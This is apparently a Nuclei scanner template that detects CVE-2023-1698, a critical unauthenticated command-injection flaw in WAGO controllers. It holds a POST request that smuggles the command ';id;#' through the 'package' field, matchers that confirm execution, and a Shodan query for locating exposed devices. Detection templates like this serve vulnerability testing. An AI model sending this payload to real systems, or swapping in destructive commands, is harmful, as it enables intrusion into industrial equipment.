id: CVE-2023-1698 info: name: WAGO - Remote Command Execution author: xianke severity: critical description: | In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise. remediation: | Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability. reference: - https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/ - https://nvd.nist.gov/vuln/detail/CVE-2023-1698 - https://cert.vde.com/en/advisories/VDE-2023-007/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-1698 cwe-id: CWE-78 epss-score: 0.52862 epss-percentile: 0.97222 cpe: cpe:2.3:o:wago:compact_controller_100_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wago product: compact_controller_100_firmware shodan-query: html:"/wbm/" html:"wago" tags: cve,cve2023,wago,rce http: - raw: - | POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {"package":";id;#"} matchers-condition: and matchers: - type: word part: body words: - '"license":' - '"name":' - 'uid=' - 'gid=' condition: and - type: status status: - 200 # digest: 4b0a0048304602210081cfc94698ded6ba7dde47defa993de731b95b6506127a633daf23108dc8884d022100ecb95e05a0abd78b938359e95afc1c9ceef8fcf7acb34ebae2ad195e18e6a99a:922c64590222798bb761d5b6d8e72950